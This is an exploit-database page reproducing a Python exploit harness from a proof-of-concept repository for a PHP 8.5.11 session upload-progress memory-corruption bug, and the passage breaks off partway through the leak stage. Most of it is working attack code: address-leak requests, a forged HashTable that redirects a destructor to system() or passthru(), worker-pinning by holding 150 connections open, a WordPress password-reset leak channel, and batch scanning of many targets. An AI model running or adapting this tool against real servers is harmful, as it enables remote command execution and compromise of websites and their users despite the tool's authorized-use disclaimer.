Exploit database

GH-30e76a71e7d985cfcfb3db9ddfb9e427

dinosn/php-cve-2026-10961x-lab-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-10961

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files16
dinosn/php-cve-2026-10961x-lab-pocRevision 6e0989762b58

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

tools/php2shell_test_v2.py

Python · 73,384 bytes
#!/usr/bin/env python3
"""php2shell_test.py - unified PHP session.upload_progress exploit / oracle harness.

CVE-2026-109618 / CVE-2026-109619 (php2shell), PHP 8.5.11 mod_php geometry.

Two modes:

  --safe   Non-destructive disclosure oracle. Two multipart POSTs (leak-A then
           leak-B) and a PHPSESSID Set-Cookie inspection. No code execution,
           no marker, no fire stage. Intended for fleet scanning.

  (full)   The complete chain: arm -> leak -> fire. Fires zif_system with a
           benign marker command, with independent stage retries and HTTP-only
           worker rotation between attempts.

design provenance:
  * leak/fire request shapes and chunk-relative offsets from the verified
    12/12 e2e work on php:8.5.11-apache (see the parent project's e2e REPORT).
  * operational shape (one-command UX, stage retries, worker rotation,
    auto-offset resolution) adapted from 9bie's 8.4.26 chain.
  * Marven11 adaptations (v2): chunked OOM field (--chunked), zif_passthru
    terminal (--passthru), blocking-connection worker affinity (--multi-worker),
    two 2 MiB libphp candidates resolved by replay (--two-candidate), and the
    WordPress wp-login.php?action=rp cookie channel (--wp-channel).

Adaptation flags:
  --chunked        send the arm (OOM) request with Transfer-Encoding: chunked
  --passthru       use zif_passthru as the destructor terminal
  --multi-worker N pin one worker with N blocking connections (default 150)
  --two-candidate  resolve libphp by replaying both 2 MiB candidates
  --wp-channel     read the leak from a WordPress reset-password cookie
  --in-response    treat uid=/tag in the fire response body as proof

Output contract:
  * stdout is one JSON object (single target) or one JSON array (batch).
  * progress lines go to stderr, so `php2shell_test.py ... | jq` is clean.

Authorized assets only. Full mode executes a command on the target.
"""
from __future__ import annotations

import argparse
import json
import os
import random
import re
import shlex
import socket
import ssl
import string
import struct
import subprocess
import sys
import threading
import time
import urllib.parse
from collections import Counter

TOOL = "php2shell_test_v2.py"
TOOL_VERSION = "2.0.0"

# The fake zend_string carrier is a 167-byte live field value. The command is
# embedded at data+0x98, leaving 15 bytes including the NUL terminator.
MAX_CMD = 14
DEFAULT_TIMEOUT = 30.0
DEFAULT_RETRIES = 3
MAX_RESP_BYTES = 1 << 20

# --------------------------------------------------------------------------
# Version profiles
# --------------------------------------------------------------------------
# libphp-relative and chunk-relative offsets. Only 8.5.11 is calibrated against
# the request shapes emitted by this tool. 8.4.26 offsets are 9bie's reference
# numbers; that build needs different request shapes and is deliberately not
# claimed as supported here.
OFFSET_TABLE = {
    "8.5.11": {
        "dtor": 0x7B47A0, "zif": 0x5996E0, "passthru": 0x5996F0,
        "ht": 0x7E0D8, "r0": 0x7A6E0,
        "calibrated": True, "source": "verified-e2e-8.5.11+readelf",
    },
    "8.4.26": {
        "dtor": 0x613C50, "zif": 0x43A870, "ht": 0x6E0D8, "r0": 0x24E0,
        "calibrated": False,
        "source": "9bie-reference-8.4.26",
        "note": "reference offsets only; this tool's request shapes are not "
                "portable to 8.4.26 without recalibration",
    },
}
DEFAULT_VERSION = "8.5.11"

PROFILE_8511 = {
    "leak_a": {
        "nvars": 1001, "name_len": 5, "name_len2": 39, "name_mix": 163,
        "mix_pos": "first", "val_len": 39, "prog_len": 3, "huge": 24,
        "bnd_len": 17,
    },
    "leak_b": {
        "n": 742, "target": 447, "m": 257, "sid": "leaksessionid01",
        "bnd_len": 10,
    },
    # 9bie's A_bigfields rotation: 1001 x 3000-byte values + the OOM field.
    # It forces extra Zend MM chunks and aborts the prefork child, so the
    # replacement is guaranteed to start from fresh request state.
    "rotate_a": {
        "nvars": 1001, "name_len": 5, "val_len": 3000, "prog_len": 3,
        "huge": 24, "bnd_len": 17,
    },
    "rotate_b": {"n": 0, "sid": "attacksessionid0001", "bnd_len": 10},
    "fire_a": {
        "huge": 24, "sid_len": 100, "pads": 107, "pad_name_len": 7,
        "pad_val_len": 1, "prog_len": 3, "bnd_len": 17,
    },
    "fire_b": {
        "n1": 1, "n2": 0, "live_n": 200, "live_len": 31, "fill_n": 80,
        "fill_name_len": 31, "fill_val_len": 1, "mask_n": 8, "mask_len": 100,
        "sid_len": 100, "ht_flags": 0x10, "mask": 0xFFFFFFF8, "nts": 8,
        "ref_type": 0x307, "bnd_len": 10,
    },
}

# --------------------------------------------------------------------------
# Small utilities
# --------------------------------------------------------------------------
def log(args, msg):
    if not args.quiet:
        print(msg, file=sys.stderr, flush=True)


def u64(buf, off):
    return int.from_bytes(buf[off:off + 8], "little")


def hx(value):
    return "0x%x" % value


def now():
    return time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime())


class Target:
    def __init__(self, url):
        p = urllib.parse.urlparse(url)
        if p.scheme not in ("http", "https"):
            raise ValueError("unsupported URL scheme: %r" % (url,))
        if not p.hostname:
            raise ValueError("no host in URL: %r" % (url,))
        self.url = url
        self.scheme = p.scheme
        self.host = p.hostname
        self.port = p.port or (443 if p.scheme == "https" else 80)
        path = p.path or "/"
        if p.query:
            path += "?" + p.query
        self.path = path

    def __str__(self):
        return "%s://%s:%d%s" % (self.scheme, self.host, self.port, self.path)


class Resp:
    __slots__ = ("ok", "status", "headers", "set_cookies", "body",
                 "elapsed", "error", "req_bytes", "resp_bytes")

    def __init__(self):
        self.ok = False
        self.status = -1
        self.headers = {}
        self.set_cookies = []
        self.body = b""
        self.elapsed = 0.0
        self.error = None
        self.req_bytes = 0
        self.resp_bytes = 0

    def header(self, name):
        return self.headers.get(name.lower())

    def as_dict(self):
        return {
            "status": self.status,
            "elapsed_s": round(self.elapsed, 3),
            "request_bytes": self.req_bytes,
            "response_bytes": self.resp_bytes,
            "error": self.error,
        }


def _recv_all(sock):
    out = bytearray()
    while len(out) < MAX_RESP_BYTES:
        chunk = sock.recv(65536)
        if not chunk:
            break
        out += chunk
    return bytes(out)


CHUNK_UNIT = 262144


def http_send(target, body=b"", boundary=None, method="POST", timeout=30.0,
              bypass_ct=False, chunked=False, path=None,
              ua="Mozilla/5.0 (php2shell-test/%s)" % TOOL_VERSION):
    """Minimal raw-socket HTTP client.

    Raw sockets are deliberate: a 24 MiB OOM request ends in a server-side
    abort, and http.client's state machine turns that into an unhelpful
    exception before we can read the partial response.

    chunked=True sends the body with Transfer-Encoding: chunked (no
    Content-Length), so post_max_size is never consulted for the OOM field.
    """
    r = Resp()
    r.req_bytes = len(body)
    path = target.path if path is None else path
    t0 = time.time()
    sock = None
    try:
        sock = socket.create_connection((target.host, target.port), timeout=timeout)
        sock.settimeout(timeout)
        if target.scheme == "https":
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            sock = ctx.wrap_socket(sock, server_hostname=target.host)

        host_hdr = "[%s]" % target.host if ":" in target.host else target.host
        lines = ["%s %s HTTP/1.1" % (method, path),
                 "Host: %s:%d" % (host_hdr, target.port),
                 "User-Agent: " + ua,
                 "Connection: close"]
        if body or method in ("POST", "PUT"):
            if boundary is not None:
                sep = "," if bypass_ct else ";"
                lines.append("Content-Type: multipart/form-data%s boundary=%s"
                             % (sep, boundary.decode("latin1")))
            if chunked:
                lines.append("Transfer-Encoding: chunked")
            else:
                lines.append("Content-Length: %d" % len(body))
        header = ("\r\n".join(lines) + "\r\n\r\n").encode("latin1")
        sock.sendall(header)
        view = memoryview(body)
        try:
            if chunked:
                for off in range(0, len(body), CHUNK_UNIT):
                    piece = view[off:off + CHUNK_UNIT]
                    sock.sendall(b"%x\r\n" % len(piece) + piece + b"\r\n")
                sock.sendall(b"0\r\n\r\n")
            else:
                for off in range(0, len(body), CHUNK_UNIT):
                    sock.sendall(view[off:off + CHUNK_UNIT])
        except OSError as exc:
            # Expected when the OOM handler tears the request down.
            r.error = "send: %r" % (exc,)
        raw = _recv_all(sock)
    except OSError as exc:
        r.error = "transport: %r" % (exc,)
        raw = b""
    finally:
        if sock is not None:
            try:
                sock.close()
            except OSError:
                pass

    r.elapsed = time.time() - t0
    r.resp_bytes = len(raw)
    head, sep, rest = raw.partition(b"\r\n\r\n")
    r.body = rest if sep else b""
    head_lines = head.split(b"\r\n") if head else []
    if head_lines:
        parts = head_lines[0].split(b" ", 2)
        if len(parts) >= 2:
            try:
                r.status = int(parts[1])
                r.ok = True
            except ValueError:
                pass
        for line in head_lines[1:]:
            if b":" not in line:
                continue
            k, v = line.split(b":", 1)
            name = k.strip().lower().decode("latin1")
            value = v.strip()
            if name == "set-cookie":
                r.set_cookies.append(value)
            else:
                r.headers[name] = value.decode("latin1")
    return r


def multipart(parts, boundary):
    out = bytearray()
    for p in parts:
        out += b"--" + boundary + b"\r\n"
        if p.get("filename") is not None:
            out += (b'Content-Disposition: form-data; name="' + p["name"]
                    + b'"; filename="' + p["filename"] + b'"\r\n'
                    b'Content-Type: application/octet-stream\r\n\r\n')
        else:
            out += (b'Content-Disposition: form-data; name="'
                    + p["name"] + b'"\r\n\r\n')
        out += p["data"] + b"\r\n"
    out += b"--" + boundary + b"--\r\n"
    return bytes(out)


def field(name, data):
    if isinstance(name, str):
        name = name.encode()
    return {"name": name, "data": data}


def filefield(name, filename, data):
    return {"name": name.encode(), "filename": filename.encode(), "data": data}


def extract_phpsessid(resp):
    """Return (raw_cookie_bytes, decoded_bytes) for the first PHPSESSID cookie."""
    for raw in resp.set_cookies:
        nv = raw.split(b";", 1)[0]
        prefix = b"PHPSESSID="
        if nv.startswith(prefix):
            value = nv[len(prefix):]
            return value, urllib.parse.unquote_to_bytes(value)
    return None, None


def extract_cookie(resp, name_prefix):
    """Return (raw_cookie_bytes, decoded_bytes) for the first matching cookie.

    name_prefix is bytes; matching is startswith so WordPress's
    'wp-resetpass-<COOKIEHASH>' is covered by b'wp-resetpass-'.
    """
    for raw in resp.set_cookies:
        nv = raw.split(b";", 1)[0]
        name, sep, value = nv.partition(b"=")
        if sep and name.startswith(name_prefix):
            return value, urllib.parse.unquote_to_bytes(value)
    return None, None


# --------------------------------------------------------------------------
# Request builders (shapes verified on php:8.5.11-apache)
# --------------------------------------------------------------------------
def build_leak_a(leak_a, huge_mb=None):
    huge = leak_a["huge"] if huge_mb is None else huge_mb
    parts = []
    nvars = leak_a["nvars"]
    nl_short = leak_a["name_len"]
    nl_mix = leak_a["name_len2"]
    mix = leak_a["name_mix"]
    for i in range(nvars):
        if mix:
            mixed = (i >= nvars - mix) if leak_a["mix_pos"] == "last" else (i < mix)
        else:
            mixed = False
        nl = nl_mix if mixed else nl_short
        name = ("f%0*d" % (max(0, nl - 1), i))[:nl]
        parts.append(field(name, b"x" * leak_a["val_len"]))
    parts.append(field("PHPSESSID", b"\x00"))
    parts.append(field("PHP_SESSION_UPLOAD_PROGRESS", b"p" * leak_a["prog_len"]))
    parts.append(filefield("f", "a.txt", b"A" * 64))
    parts.append(field("big", b"B" * (huge * 1024 * 1024)))
    boundary = b"S" * (leak_a["bnd_len"] or 17)
    return multipart(parts, boundary), boundary


def build_leak_b(leak_b):
    parts = [field("PHPSESSID", leak_b["sid"].encode()),
             field("PHP_SESSION_UPLOAD_PROGRESS", b"pwn")]
    for i in range(leak_b["n"]):
        count = leak_b["m"] if i == leak_b["target"] else 1
        for j in range(count):
            parts.append(field("a%04d[%d]" % (i, j), b"x"))
    boundary = b"B" * (leak_b["bnd_len"] or 10)
    return multipart(parts, boundary), boundary


def build_rotate_a(rotate_a, huge_mb=None):
    huge = rotate_a["huge"] if huge_mb is None else huge_mb
    parts = []
    for i in range(rotate_a["nvars"]):
        nl = rotate_a["name_len"]
        name = ("f%0*d" % (max(0, nl - 1), i))[:nl]
        parts.append(field(name, b"x" * rotate_a["val_len"]))
    parts.append(field("PHPSESSID", b"\x00"))
    parts.append(field("PHP_SESSION_UPLOAD_PROGRESS", b"p" * rotate_a["prog_len"]))
    parts.append(filefield("f", "a.txt", b"A" * 64))
    parts.append(field("big", b"B" * (huge * 1024 * 1024)))
    boundary = b"S" * (rotate_a["bnd_len"] or 17)
    return multipart(parts, boundary), boundary


def build_rotate_b(rotate_b):
    parts = [field("PHPSESSID", rotate_b["sid"].encode()),
             field("PHP_SESSION_UPLOAD_PROGRESS", b"pwn")]
    boundary = b"B" * (rotate_b["bnd_len"] or 10)
    return multipart(parts, boundary), boundary


def build_fire_a(fire_a, huge_mb=None):
    huge = fire_a["huge"] if huge_mb is None else huge_mb
    parts = [field("PHPSESSID", b"a" * fire_a["sid_len"]),
             field("PHP_SESSION_UPLOAD_PROGRESS", b"p" * fire_a["prog_len"])]
    for i in range(fire_a["pads"]):
        nl = fire_a["pad_name_len"]
        name = ("p%0*d" % (max(0, nl - 1), i))[:nl]
        parts.append(field(name, b"V" * fire_a["pad_val_len"]))
    parts.append(filefield("f", "a.txt", b"A" * 64))
    parts.append(field("big", b"B" * (huge * 1024 * 1024)))
    boundary = b"S" * (fire_a["bnd_len"] or 17)
    return multipart(parts, boundary), boundary


def build_fake_ht(cmd, htdata, ctor, flags=0x10, mask=0xFFFFFFF8, nts=8):
    """167-byte fake HashTable + execute_data frame, all inside a live string."""
    if len(cmd) > MAX_CMD:
        raise ValueError("command exceeds the %d-byte carrier (got %d bytes)"
                         % (MAX_CMD, len(cmd)))
    ht = bytearray(167)
    struct.pack_into("<II", ht, 0x00, 1, 7)             # gc: rc=1, IS_ARRAY
    struct.pack_into("<II", ht, 0x08, flags, mask)      # flags, nTableMask
    struct.pack_into("<Q", ht, 0x10, htdata + 0x20)     # arData -> execute_data
    struct.pack_into("<II", ht, 0x18, 1, 1)             # nNumUsed, nNumOfElements
    struct.pack_into("<II", ht, 0x20, nts, 0)           # nTableSize, nInternalPointer
    struct.pack_into("<Q", ht, 0x28, 0)                 # nNextFreeElement
    struct.pack_into("<Q", ht, 0x30, ctor)              # pDestructor
    e = 0x20                                             # execute_data
    struct.pack_into("<Q", ht, e + 0x10, ctor)          # return_value
    struct.pack_into("<I", ht, e + 0x2C, 1)             # ZEND_CALL_NUM_ARGS
    struct.pack_into("<Q", ht, e + 0x50, htdata + 0x80)  # arg1 zval.value
    struct.pack_into("<I", ht, e + 0x58, 6)             # arg1 zval type = IS_STRING
    struct.pack_into("<II", ht, 0x80, 1, 0x106)         # fake zend_string gc
    struct.pack_into("<Q", ht, 0x88, 0)                 # h
    struct.pack_into("<Q", ht, 0x90, len(cmd))          # len
    ht[0x98:0x98 + len(cmd)] = cmd
    ht[0x98 + len(cmd)] = 0
    return bytes(ht)


def build_live_ref(htdata, length=31, ref_type=0x307):
    """A live value string whose data starts with a fake zend_reference."""
    buf = bytearray(b"R" * length)
    struct.pack_into("<Q", buf, 0x00, (10 << 32) | 1)   # gc: rc=1, IS_REFERENCE
    struct.pack_into("<Q", buf, 0x08, htdata)           # val.value.arr
    struct.pack_into("<I", buf, 0x10, ref_type)         # val.type_info
    struct.pack_into("<I", buf, 0x14, 0)
    return bytes(buf)


def build_fire_b_with_cmd(fire_b, htdata, ctor, cmd, ref_type=0x307):
    ht = build_fake_ht(cmd, htdata, ctor, flags=fire_b["ht_flags"],
                       mask=fire_b["mask"], nts=fire_b["nts"])
    parts = [field("PHPSESSID", b"a" * fire_b["sid_len"]),
             field("PHP_SESSION_UPLOAD_PROGRESS", b"pwn")]
    for i in range(fire_b["mask_n"]):
        parts.append(field("m%04d" % i, b"M" * fire_b["mask_len"]))
    for i in range(fire_b["fill_n"]):
        name = ("F%030d" % i)[:fire_b["fill_name_len"]]
        parts.append(field(name, b"z" * fire_b["fill_val_len"]))
    live = build_live_ref(htdata, fire_b["live_len"], ref_type)
    for i in range(fire_b["live_n"]):
        parts.append(field("r%04d" % i, live))
    for i in range(fire_b["n1"]):
        parts.append(field(("a%030d" % i)[:31], ht))
    for i in range(fire_b["n2"]):
        parts.append(field("f%02d" % i, b"X" * 55))
    boundary = b"B" * (fire_b["bnd_len"] or 10)
    return multipart(parts, boundary), boundary


# --------------------------------------------------------------------------
# Leak analysis
# --------------------------------------------------------------------------
def analyze_leak(data, dtor_off):
    """Decode the leaked PHPSESSID record into libphp/chunk bases.

    Returns (info, None) or (None, reason).
    """
    if not data:
        return None, "no_phpsessid_cookie"
    if len(data) < 64:
        return None, "cookie_too_short:%d" % len(data)
    pdtor = u64(data, 8)
    if (pdtor & 0x1FFFFF) != (dtor_off & 0x1FFFFF):
        return None, "pDestructor_low_bits_mismatch:%#x" % pdtor
    libphp = pdtor - dtor_off
    if libphp & 0x1FFFFF:
        return None, "libphp_base_unaligned:%#x" % libphp
    votes = Counter()
    for off in range(16, len(data) - 7, 8):
        q = u64(data, off)
        if 0x7F0000000000 <= q < 0x800000000000:
            base = q & ~0x1FFFFF
            if base != (libphp & ~0x1FFFFF):
                votes[base] += 1
    if not votes:
        return None, "no_chunk_pointers"
    chunk, count = votes.most_common(1)[0]
    if count < 2:
        return None, "weak_chunk_vote:%d/%d" % (count, len(votes))
    return {
        "cookie_bytes": len(data),
        "pDestructor": pdtor,
        "libphp_base": libphp,
        "chunk_base": chunk,
        "chunk_votes": count,
        "chunk_candidates": len(votes),
        "leak_hex": data[:64].hex(),
    }, None


def analyze_leak_any(data, dtor_off):
    """Tolerant leak parser for app-reflected channels (WordPress reset-pass).

    The WordPress channel returns an engine over-read that is not guaranteed to
    start on the zval boundary our PHPSESSID record has, so it may carry chunk
    pointers only. This parser scans every byte offset, tries to recover the
    libphp base from a pDestructor low-bits match, and votes on 2 MiB-aligned
    chunk candidates (excluding the libphp mapping span when known).
    """
    if not data:
        return None, "no_cookie"
    if len(data) < 32:
        return None, "cookie_too_short:%d" % len(data)
    libphp = None
    pdtor = None
    for off in range(0, len(data) - 7):
        q = u64(data, off)
        if 0x7F0000000000 <= q < 0x800000000000 and (q & 0x1FFFFF) == (dtor_off & 0x1FFFFF):
            base = q - dtor_off
            if not (base & 0x1FFFFF):
                libphp, pdtor = base, q
                break
    votes = Counter()
    for off in range(0, len(data) - 7):
        q = u64(data, off)
        if 0x7F0000000000 <= q < 0x800000000000:
            base = q & ~0x1FFFFF
            if libphp is not None and (libphp & ~0x1FFFFF) <= base <= (libphp & ~0x1FFFFF) + 0xA00000:
                continue
            votes[base] += 1
    if not votes:
        return None, "no_chunk_pointers"
    chunk, count = votes.most_common(1)[0]
    if count < 2:
        return None, "weak_chunk_vote:%d/%d" % (count, len(votes))
    return {
        "cookie_bytes": len(data),
        "pDestructor": pdtor,
        "libphp_base": libphp,
        "chunk_base": chunk,
        "chunk_votes": count,
        "chunk_candidates": len(votes),
        "candidates": {hx(k): v for k, v in votes.most_common(6)},
        "leak_hex": data[:64].hex(),
    }, None


# --------------------------------------------------------------------------
# WordPress-shaped leak request (adapted from Marven11 i097/f082)
# --------------------------------------------------------------------------
WP_COOKIE_PREFIX = b"wp-resetpass-"


def wp_query(pads, pad_key_len=8, pad_val_len=7, login_len=7, key_len=7,
             prefix="pp"):
    """Query string shape that positions WordPress' reset-pass parameters."""
    parts = []
    for i in range(pads):
        k = prefix + ("%0*d" % (max(0, pad_key_len - len(prefix)), i))
        parts.append("%s=%s" % (k, "G" * pad_val_len))
    parts.append("action=rp")
    parts.append("login=" + "L" * login_len)
    parts.append("key=" + "K" * key_len)
    return "&".join(parts)


# --------------------------------------------------------------------------
# Worker affinity: N blocking connections, then release exactly one
# --------------------------------------------------------------------------
def open_blocker(target):
    """A connection carrying an incomplete request header occupies one worker."""
    s = socket.create_connection((target.host, target.port), timeout=10.0)
    host_hdr = "[%s]" % target.host if ":" in target.host else target.host
    s.sendall(("GET / HTTP/1.1\r\nHost: %s:%d\r\nX-Pad: %s"
               % (host_hdr, target.port, "A" * 64)).encode("latin1"))
    return s


def close_rst(sock):
    try:
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack("ii", 1, 0))
    except OSError:
        pass
    try:
        sock.close()
    except OSError:
        pass


def probe_saturated(target, timeout=1.5):
    """True when a fresh connection cannot be served within timeout."""
    try:
        s = socket.create_connection((target.host, target.port), timeout=5.0)
    except OSError:
        return True
    try:
        s.sendall(("GET %s HTTP/1.1\r\nHost: %s:%d\r\nConnection: close\r\n\r\n"
                   % (target.path, target.host, target.port)).encode("latin1"))
        s.settimeout(timeout)
        d = s.recv(100)
        close_rst(s)
        return len(d) == 0
    except OSError:
        close_rst(s)
        return True


class WorkerPin:
    """Marven11's 150-blocking-connection worker affinity.

    With every prefork child busy on an incomplete request, the next request
    can only be served by the child whose blocker we close. That child (and its
    fork-replacement after an OOM) inherits the parent's address space, so the
    A/B pair keeps the same libphp/chunk geometry on stock MaxRequestWorkers.
    """

    def __init__(self, target, workers=150, warmup=3.0, probe_timeout=1.5,
                 log_fn=None):
        self.target = target
        self.workers = workers
        self.warmup = warmup
        self.probe_timeout = probe_timeout
        self.log = log_fn or (lambda msg: None)
        self.blockers = []
        self.pins = 0
        self.failures = 0
        self.saturated = None

    def acquire(self, label):
        self.release()
        bl = []
        try:
            for _ in range(self.workers):
                bl.append(open_blocker(self.target))
        except OSError as exc:
            self.log("[pin] blocker open failed after %d: %r" % (len(bl), exc))
        time.sleep(self.warmup)
        sat = probe_saturated(self.target, self.probe_timeout)
        if not sat:
            time.sleep(2.0)
            sat = probe_saturated(self.target, self.probe_timeout)
        self.saturated = sat
        if not sat or not bl:
            for s in bl:
                close_rst(s)
            self.failures += 1
            self.log("[pin] %s: could not saturate (%d blockers, saturated=%s)"
                     % (label, len(bl), sat))
            return False
        close_rst(bl.pop())
        time.sleep(0.3)
        self.blockers = bl
        self.pins += 1
        self.log("[pin] %s: pinned one worker (%d blockers held, saturated)"
                 % (label, len(bl)))
        return True

    def release(self):
        for s in self.blockers:
            close_rst(s)
        self.blockers = []
        if self.pins:
            time.sleep(0.1)

    @property
    def enabled(self):
        return self.workers > 0

    def stats(self):
        return {"workers": self.workers, "pins": self.pins,
                "failures": self.failures, "saturated_last": self.saturated}


# --------------------------------------------------------------------------
# Offset resolution
# --------------------------------------------------------------------------
class OffsetError(Exception):
    pass


def parse_offsets_arg(text):
    out = {}
    aliases = {
        "dtor": "dtor", "zval_ptr_dtor": "dtor",
        "zif": "zif", "zif_system": "zif",
        "passthru": "passthru", "zif_passthru": "passthru",
        "ht": "ht", "ht_data": "ht",
        "r0": "r0",
    }
    for item in text.split(","):
        item = item.strip()
        if not item:
            continue
        if "=" not in item:
            raise OffsetError("bad --offsets item %r (want key=value)" % item)
        k, v = item.split("=", 1)
        k = k.strip().lower()
        if k not in aliases:
            raise OffsetError("unknown offset key %r (known: %s)"
                              % (k, ", ".join(sorted(aliases))))
        try:
            out[aliases[k]] = int(v.strip(), 0)
        except ValueError:
            raise OffsetError("bad hex value for %s: %r" % (k, v))
    return out


def offsets_from_libphp(path):
    """Read zif_system and zval_ptr_dtor offsets from a local libphp.so via nm."""
    attempts = (["nm", "--defined-only", path], ["nm", "-D", "--defined-only", path])
    text = None
    err = None
    for argv in attempts:
        try:
            proc = subprocess.run(argv, capture_output=True, text=True, timeout=60)
        except (OSError, subprocess.TimeoutExpired) as exc:
            err = str(exc)
            continue
        if proc.returncode == 0 and proc.stdout:
            text = proc.stdout
            break
        err = (proc.stderr or "").strip() or "nm exited %d" % proc.returncode
    if not text:
        raise OffsetError("could not read symbols from %s: %s" % (path, err))
    found = {}
    wanted = {"zif_system": "zif", "zif_passthru": "passthru",
              "zval_ptr_dtor": "dtor"}
    for line in text.splitlines():
        parts = line.split()
        if len(parts) < 3:
            continue
        symbol = parts[-1].split("@", 1)[0]
        key = wanted.get(symbol)
        if key and key not in found:
            try:
                found[key] = int(parts[0], 16)
            except ValueError:
                continue
    missing = [k for k in ("zif", "dtor") if k not in found]
    if missing:
        raise OffsetError("%s: missing symbol(s) %s" % (path, ", ".join(missing)))
    return found


def version_from_fingerprint(fp):
    for key in ("x_powered_by", "server"):
        value = fp.get(key) or ""
        m = re.search(r"PHP/(\d+\.\d+\.\d+)", value)
        if m:
            return m.group(1), value
    body = fp.get("body_head") or ""
    m = re.search(r"PHP\s+Version\s+(\d+\.\d+\.\d+)", body)
    if m:
        return m.group(1), "body"
    return None, None


def resolve_offsets(args, fp):
    overrides = parse_offsets_arg(args.offsets) if args.offsets else {}
    version, _ = version_from_fingerprint(fp)
    if version and version in OFFSET_TABLE:
        base = dict(OFFSET_TABLE[version])
        source = base.pop("source")
        calibrated = base.pop("calibrated")
        note = base.pop("note", None)
    elif version:
        base = dict(OFFSET_TABLE[DEFAULT_VERSION])
        source = "default-8.5.11"
        calibrated = True
        note = "version %s not in table; using 8.5.11 profile" % version
    else:
        base = dict(OFFSET_TABLE[DEFAULT_VERSION])
        source = "default-8.5.11"
        calibrated = True
        note = "version not advertised; using 8.5.11 profile"
    base.pop("calibrated", None)
    base.pop("source", None)
    base.pop("note", None)

    profile_confidence = "verified" if (calibrated and version == DEFAULT_VERSION) else "unverified"
    if not calibrated and not args.force_shape:
        raise OffsetError(
            "target advertises PHP %s; this tool's request shapes are "
            "calibrated only for PHP %s. Refusing to emit a false verdict. "
            "Recalibrate the shapes for that build first, or pass --force-shape "
            "to probe at your own risk (offsets alone do not make the shapes "
            "portable)." % (version, DEFAULT_VERSION))

    offs = dict(base)
    libmeta = None
    if args.libphp:
        found = offsets_from_libphp(args.libphp)
        offs.update(found)
        source += "+libphp:%s" % os.path.basename(args.libphp)
        libmeta = {k: hx(v) for k, v in found.items()}
        profile_confidence = "from-binary"
    if overrides:
        offs.update(overrides)
        source += "+overrides"
        profile_confidence = "operator-override"
    for key in ("dtor", "zif", "ht", "r0"):
        if key not in offs:
            raise OffsetError("missing %s offset" % key)
    if (offs["dtor"] & 0x1FFFFF) == 0:
        raise OffsetError("zval_ptr_dtor offset %#x has zero low 21 bits; "
                          "the leak validation would be meaningless" % offs["dtor"])
    terminal = "zif_passthru" if args.passthru else "zif_system"
    if args.passthru:
        if "passthru" not in offs:
            raise OffsetError("--passthru requested but no zif_passthru offset is "
                              "known for this profile; supply --offsets passthru=<hex>")
        offs["terminal"] = offs["passthru"]
    else:
        offs["terminal"] = offs["zif"]
    meta = {
        "profile": version or "unknown",
        "source": source,
        "confidence": profile_confidence,
        "note": note,
        "dtor": hx(offs["dtor"]),
        "zif": hx(offs["zif"]),
        "terminal": terminal,
        "terminal_offset": hx(offs["terminal"]),
        "ht": hx(offs["ht"]),
        "r0": hx(offs["r0"]),
        "libphp_symbols": libmeta,
    }
    if "passthru" in offs:
        meta["passthru"] = hx(offs["passthru"])
    return offs, meta


# --------------------------------------------------------------------------
# Fingerprint / liveness
# --------------------------------------------------------------------------
def fingerprint(target, args):
    resp = http_send(target, method="GET", timeout=min(args.timeout, 10.0),
                     ua="Mozilla/5.0 (php2shell-test/%s)" % TOOL_VERSION)
    if not resp.ok:
        # A previous full-mode target may have just killed its worker.
        time.sleep(0.5)
        resp = http_send(target, method="GET", timeout=min(args.timeout, 10.0),
                         ua="Mozilla/5.0 (php2shell-test/%s)" % TOOL_VERSION)
    fp = {
        "reachable": resp.ok,
        "status": resp.status,
        "server": resp.header("server"),
        "x_powered_by": resp.header("x-powered-by"),
        "body_head": resp.body[:200].decode("latin1", "replace"),
        "error": resp.error,
    }
    version, version_source = version_from_fingerprint(fp)
    fp["php_version_hint"] = version
    fp["version_source"] = version_source
    return fp


def wait_ready(target, args, deadline_s=15.0):
    end = time.time() + deadline_s
    while time.time() < end:
        resp = http_send(target, method="GET", timeout=min(args.timeout, 5.0))
        if resp.ok:
            return True
        time.sleep(0.25)
    return False


# --------------------------------------------------------------------------
# Stages
# --------------------------------------------------------------------------
def rotate_worker(target, args, profile, state):
    """HTTP-only worker rotation: leak-A shape then an empty session-B.

    The OOM aborts the prefork child; the parent forks a replacement with the
    same ASLR mappings. Used only between retry attempts.
    """
    state["worker"] += 1
    state["rotations"] += 1
    t0 = time.time()
    body, bnd = build_rotate_a(profile["rotate_a"], args.huge)
    http_send(target, body, bnd, timeout=args.timeout, bypass_ct=args.bypass_ct)
    time.sleep(0.25)
    body, bnd = build_rotate_b(profile["rotate_b"])
    http_send(target, body, bnd, timeout=args.timeout, bypass_ct=args.bypass_ct)
    ready = wait_ready(target, args)
    log(args, "[rotate] worker=W%d (%s, %.2fs)"
        % (state["worker"], "ready" if ready else "not-ready", time.time() - t0))
    return ready


def leak_target_path(args, pads=None):
    """Path (+query) for the leak pair.

    --wp-channel sends the pair to the WordPress reset-password endpoint with
    Marven11's f082 pad geometry; the disclosure is then read from the
    wp-resetpass-<hash> Set-Cookie instead of PHPSESSID.
    """
    if not args.wp_channel:
        return None
    n = args.wp_pads if pads is None else pads
    q = wp_query(n)
    return "%s?%s" % (args.wp_path, q)


def acquire_leak(target, args, profile, offs, state, pin=None, log_tag="leak"):
    """Run leak-A/leak-B up to --retries times. Returns (geo, arm_meta, error)."""
    last_err = None
    last_hex = None
    oom_seen = False
    last_cookie_len = 0
    leak_path = leak_target_path(args)
    path = leak_path or target.path
    analyzer = analyze_leak_any if args.wp_channel else analyze_leak
    cookie_prefix = args.wp_cookie_prefix_bytes if args.wp_channel else b"PHPSESSID"
    for attempt in range(1, args.retries + 1):
        pinned = bool(pin and pin.enabled)
        if pinned:
            if not pin.acquire("%s%d" % (log_tag, attempt)):
                last_err = "pin_failed"
                continue
        elif attempt > 1:
            log(args, "[retry] stage=%s attempt=%d/%d (rotation)"
                % (log_tag, attempt, args.retries))
            rotate_worker(target, args, profile, state)
            time.sleep(args.retry_delay)
        try:
            t0 = time.time()
            body_a, bnd_a = build_leak_a(profile["leak_a"], args.huge)
            resp_a = http_send(target, body_a, bnd_a, timeout=args.timeout,
                               bypass_ct=args.bypass_ct, chunked=args.chunked,
                               path=path)
            oom = (b"Allowed memory size" in resp_a.body
